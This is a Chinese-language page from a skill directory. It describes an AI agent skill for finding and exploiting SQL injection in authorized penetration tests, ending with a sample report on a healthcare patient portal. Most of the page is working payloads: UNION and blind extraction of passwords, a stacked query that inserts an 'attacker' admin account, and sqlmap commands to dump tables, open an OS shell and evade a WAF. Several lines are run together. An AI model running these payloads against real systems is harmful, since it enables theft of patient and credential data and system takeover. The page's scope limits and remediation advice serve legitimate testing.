技能创建器
skill-creator
创建、改进和评估自定义技能,把专业流程转化为可重复使用的 AI 能力。
exploiting-sql-injection-vulnerabilities【数据与研究】在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。
独立 GitHub 快照 · 自动分类 · 以原作者文档为准
不适用场景:未经书面授权的数据库测试、提取或泄露超出概念验证所需的实际客户数据,以及针对可能损坏数据完整性的生产数据库进行利用。
识别与数据库交互的参数:
')并观察响应。SQL 错误(如"You have an error in your SQL syntax"、"unterminated quoted string"、"ORA-01756")确认该参数在未过滤的情况下到达数据库' AND 1=1--(真条件)和 ' AND 1=2--(假条件)。如果响应不同(内容长度不同、返回数据不同、HTTP 状态不同),则该参数可注入'; WAITFOR DELAY '0:0:5'--(MSSQL)、' AND SLEEP(5)--(MySQL)或 '; SELECT pg_sleep(5)--(PostgreSQL)。5 秒响应延迟确认注入确定数据库引擎和版本,以选择适当的利用技术:
' AND VERSION()-- 或 ' AND @@version--' AND @@version-- 或 ' AND DB_NAME()--' AND version()--' AND banner FROM v$version--CONCAT('a','b') 或 'a' 'b',MSSQL 使用 'a'+'b',PostgreSQL 使用 'a'||'b',Oracle 使用 'a'||'b'# 和 -- ,MSSQL 使用 -- ,PostgreSQL 使用 -- ,Oracle 使用 -- 使用适合技术的方法利用已确认的注入点:
ORDER BY 确定列数(' ORDER BY 1--、' ORDER BY 2-- 等直到出现错误)。然后构造 UNION SELECT 提取数据:
' UNION SELECT NULL,username,password,NULL FROM users--
EXTRACTVALUE 或 UPDATEXML 将数据强制放入错误消息:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
使用 sqlmap 高效利用已确认的注入点:
sqlmap -u "https://target.com/page?id=1" --batch --random-agent 检测注入并识别数据库sqlmap -u "https://target.com/page?id=1" --dbs 列出所有数据库sqlmap -u "https://target.com/page?id=1" -D <database> --tables 列出表sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 提取表内容sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username 测试 POST 参数sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 测试 Cookie 参数(用 * 标记可注入参数)sqlmap -u "https://target.com/page?id=1" --os-shell 尝试通过 xp_cmdshell(MSSQL)或 INTO OUTFILE(MySQL)执行命令sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between 绕过 WAF 过滤记录 SQL 注入漏洞的完整影响:
admin' OR 1=1-- 演示登录绕过,并记录被绕过的认证机制| 术语 | 定义 |
|---|---|
| SQL 注入 | 通过利用 SQL 查询中未经验证的用户输入来操控数据库操作、提取数据或执行管理操作的代码注入技术 |
| 基于 UNION 的 SQLi | 向原始查询附加 UNION SELECT 语句以在同一响应中从其他表提取数据的注入技术 |
| 盲注 SQL 注入 | 应用程序不直接返回查询结果的注入;攻击者通过布尔响应或时间延迟推断数据 |
| 参数化查询 | 预编译的 SQL 语句,用户输入作为参数传递而非拼接到查询字符串中,防止注入 |
| 二阶注入 | 恶意载荷被应用程序存储,在不同上下文或 SQL 查询中稍后执行的 SQL 注入 |
| 堆叠查询 | 在单个请求中执行以分号分隔的多个 SQL 语句,通过注入启用 INSERT、UPDATE 或 DELETE 操作 |
| WAF 绕过 | 使用编码、替代语法或分段逃避阻止常见 SQL 注入模式的 Web 应用防火墙规则的技术 |
背景:一家医疗机构的患者门户允许患者查看其医疗记录、预约和账单信息。该应用程序使用 PHP 后端和 MySQL 数据库。测试人员拥有有效的患者账户。
方法:
/appointment?id=4521ORDER BY 确定查询返回 7 列常见陷阱:
## 发现:预约详情参数中的 SQL 注入
**ID**: SQLI-001
**严重性**: 严重(CVSS 9.8)
**受影响 URL**: GET /appointment?id=4521
**参数**: id(GET 参数)
**数据库**: MySQL 8.0.32
**注入类型**: 基于错误、基于 UNION
**描述**:
预约详情页面直接将 'id' URL 参数拼接到 SQL 查询中,
未进行参数化或输入验证。这允许攻击者注入任意 SQL 语句,
并从数据库中的任何表提取数据。
**概念验证**:
请求:GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
响应:在页面内容中返回管理员用户名和 MD5 密码哈希。
**可访问数据**:
- patients 表:15,247 条记录(姓名、出生日期、SSN、地址、电话)
- medical_records 表:43,891 条记录(诊断、处方、实验室结果)
- admin_users 表:5 个账户及 MD5 哈希密码
- billing 表:28,563 条记录(保险详情、支付信息)
**修复建议**:
1. 用参数化查询替换字符串拼接:
易受攻击:$query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
安全版本:$stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. 实施输入验证,拒绝 id 参数的非整数值
3. 应用最小权限数据库权限(Web 应用程序用户只读权限)
4. 部署 WAF 规则检测和阻止 SQL 注入模式,作为纵深防御